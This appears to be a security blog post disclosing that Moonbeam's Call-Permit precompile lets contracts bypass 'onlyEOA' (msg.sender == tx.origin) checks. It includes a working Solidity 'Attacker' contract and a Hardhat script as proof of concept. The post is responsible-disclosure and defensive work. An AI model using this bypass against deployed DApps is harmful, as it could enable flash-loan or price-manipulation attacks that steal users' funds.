home
✍🏻

Why the Moonbeam’s new pre-compile contract can create side-effect on its ecosystem

Article realeased on Nov 29, 2022

Introduction

Moonbeam is a Polkadot-based Parachain that provides EVM compatibility.
It is ranked 1st in TVL among Polkadot Parachain, and the moonbeam team is interested in security enough to set a bug bounty of $1,000,000 in immunefi.
So, while I was analyzing Moonbeam for vulnerabilities, I saw an update that happened recently on the Moonbeam Network.
I am writing this article for DAPP developers in the Moonbeam ecosystem, considering that this update may adversely affect the DAPPs that exist in the Moonbeam ecosystem.

What Happened at Moonbeam Governance

On September 21, 2022, on Moonbeam Governance, the Moonbeam Council submitted a Proposal to upload the following three new precompile contracts to the mainnet, which was passed and updated on the mainnet. (link)
Batch
Call-Permit
Proxy
The precompile contract was also used as an attack vector by pwning.eth, and recently it is an attack vector that has a lot of potential to cause problems in avalanche.
It is made differently from a general contract and given more authority than a general contract, which may cause critical problems in the ecosystem.
Although I did not find vulnerabilities such as directly stealing or freezing user’s funds, we describe such cases because the above-mentioned precompile contract can cause unintend code execution in Moonbeam Chain.
It seems to be inspired by gasless-transfer using the permit function in the ERC20 Token.
This is a precompile contract that allows other EOAs to pay the gas fee and execute the desired function even if a specific EOA does not have enough funds to use as a gas fee.
The code below is the dispatch function code that performs the above role in the Call-Permit Precompile Contract.
#[precompile::public( "dispatch(address,address,uint256,bytes,uint64,uint256,uint8,bytes32,bytes32)" )] fn dispatch( handle: &mut impl PrecompileHandle, from: Address, to: Address, value: U256, data: BoundedBytes<ConstU32<CALL_DATA_LIMIT>>, gas_limit: u64, deadline: U256, v: u8, r: H256, s: H256, ) -> EvmResult<UnboundedBytes> { handle.record_cost(Self::dispatch_inherent_cost())?; let from: H160 = from.into(); let to: H160 = to.into(); let data: Vec<u8> = data.into(); // ENSURE GASLIMIT IS SUFFICIENT let call_cost = call_cost(value, <Runtime as pallet_evm::Config>::config()); let total_cost = gas_limit .checked_add(call_cost) .ok_or_else(|| revert("Call require too much gas (uint64 overflow)"))?; if total_cost > handle.remaining_gas() { return Err(revert("Gaslimit is too low to dispatch provided call")); } // VERIFY PERMIT // pallet_timestamp is in ms while Ethereum use second timestamps. let timestamp: U256 = (pallet_timestamp::Pallet::<Runtime>::get()).into() / 1000; ensure!(deadline >= timestamp, revert("Permit expired")); let nonce = NoncesStorage::get(from); let permit = Self::generate_permit( handle.context().address, from, to, value, data.clone(), gas_limit, nonce, deadline, ); let mut sig = [0u8; 65]; sig[0..32].copy_from_slice(&r.as_bytes()); sig[32..64].copy_from_slice(&s.as_bytes()); sig[64] = v; let signer = sp_io::crypto::secp256k1_ecdsa_recover(&sig, &permit) .map_err(|_| revert("Invalid permit"))?; let signer = H160::from(H256::from_slice(keccak_256(&signer).as_slice())); ensure!( signer != H160::zero() && signer == from, revert("Invalid permit") ); NoncesStorage::insert(from, nonce + U256::one()); // DISPATCH CALL let sub_context = Context { caller: from, address: to.clone(), apparent_value: value, }; let transfer = if value.is_zero() { None } else { Some(Transfer { source: from, target: to.clone(), value, }) }; let (reason, output) = handle.call(to, transfer, data, Some(gas_limit), false, &sub_context); match reason { ExitReason::Error(exit_status) => Err(PrecompileFailure::Error { exit_status }), ExitReason::Fatal(exit_status) => Err(PrecompileFailure::Fatal { exit_status }), ExitReason::Revert(_) => Err(PrecompileFailure::Revert { exit_status: ExitRevert::Reverted, output, }), ExitReason::Succeed(_) => Ok(output.into()), } }
Rust
Check if the signature is the correct signature, and if it is, set msg.sender as from received as a parameter, and then call a specific function by referring to to and data received as parameters.

Vulnerable Case

In many Contracts, a modifier or require statement similar to the following is written so that only EOA, not Contract, can be accessed to a specific function.
The code below is a snippet of code that exists somewhere.
modifier onlyEOA() { // Try to make flash-loan exploit harder to do by only allowing externally owned addresses. require(msg.sender == tx.origin, "** : must use EOA"); _; } ... require(msg.sender == tx.origin, "only EOA!!");
Solidity
The reason for using the above code may be different for each Dapp, but it is usually to prevent side effects caused by multiple calls within a single transaction. ex) Price Oracle Manipulation using flashloan etc..
Below is the code that bypasses the simple sample onlyEOA modifier using Call-Permit.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; // Uncomment this line to use console.log import "hardhat/console.sol"; contract CheckContract { bool public result = false; event DebugOutput(address a, address b); function goal() public { require(msg.sender==tx.origin, "onlyEOA!!"); result = true; } function checkResult() public view returns (bool) { return result; } } interface ICallPermit { function dispatch( address from, address to, uint256 value, bytes memory data, uint64 gaslimit, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external returns (bytes memory output); } contract Attacker { event DebugOutput(bytes a); function attack(address callee, address from, address to, uint256 value, bytes memory callData, uint64 gaslimit, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public { bytes memory message = ICallPermit(callee).dispatch(from, to, value, callData, gaslimit, deadline, v,r,s); emit DebugOutput(message); } }
Solidity
const { ethers } = require("hardhat"); const hre = require("hardhat"); async function main() { const accounts = await hre.ethers.getSigners(); console.log("tester address : " + accounts[0].address); console.log("tester balance : " + await hre.ethers.provider.getBalance(accounts[0].address)); console.log("start...."); const CheckContract = await hre.ethers.getContractFactory("CheckContract"); const CheckContractDeployed = await CheckContract.deploy(); console.log("CheckContractDeployed..."); const Attacker = await hre.ethers.getContractFactory("Attacker"); const AttackerDeployed = await Attacker.deploy(); const from = accounts[0].address; const to = CheckContractDeployed.address; const value = 0; const data = "0x40193883"; const gaslimit = 300000; const nonce = "0"; const deadline = "1757709105"; const signedData = await accounts[0]._signTypedData({ name: 'Call Permit Precompile', // Type version: '1', chainId: 1281, verifyingContract: "0x000000000000000000000000000000000000080a", }, { CallPermit: [ {name: "from", type: "address"}, {name: "to", type: "address"}, {name: "value", type: "uint256"}, {name: "data", type: "bytes"}, {name: "gaslimit", type: "uint64"}, {name: "nonce", type: "uint256"}, {name: "deadline", type: "uint256"}, ] }, { from, to, value, data, gaslimit, nonce, deadline }); const signatureData = ethers.utils.splitSignature(signedData); const callee = "0x000000000000000000000000000000000000080a"; let tx = await AttackerDeployed.connect(accounts[0]).attack(callee, from, to, value, data, gaslimit, deadline, signatureData.v, signatureData.r, signatureData.s); let mdata = await tx.wait(); console.log(mdata); console.log(await CheckContractDeployed.checkResult()); console.log("end"); } main().catch((error) => { console.error(error); process.exitCode = 1; });
JavaScript
I searched for verified contract that could cause a security incident in the Moonbeam Network, but could not find it.
However, as the moonbeam ecosystem grows and the number of dapps increases, I think there is enough room for problems.

Recommendation

Although it is not a vulnerability that can directly extort or freeze users' money, it is judged that it can be utilized when a security incident occurs in the DAPP running on Moonbeam Network in the future. .
Even if it is not to eliminate the precompile contract, it is necessary to write a warning in the official document of the call-permit precompile contract.

Conclusion

I contacted the developer of Moonbeam Team AlbertoV19, and he added a warning to the link below to note that a vulnerable case may occur.
About KALOS
KALOS is a flagship service of HAECHI LABS, the leader of the global blockchain industry. We bring together the best Web2 and Web3 experts. Security Researchers with expertise in cryptography, leaders of the global best hacker team, and blockchain/smart contract experts are responsible for securing your Web3 service.
We have secured over $60b worth of crypto assets across 400+ global crypto projects — L1/L2 projects, defi protocols, P2E games, and bridges — notably 1inch, SushiSwap, Badger DAO, SuperRare, Klaytn and Chainsafe. KALOS is the only blockchain technology company selected for the Samsung Electronics Startup Incubation Program in recognition of our expertise. We have also received technology grants from the Ethereum Foundation and Ethereum Community Fund.
Secure your smart contracts with KALOS.
Email: audit@kalos.xyz
Official website: https://kalos.xyz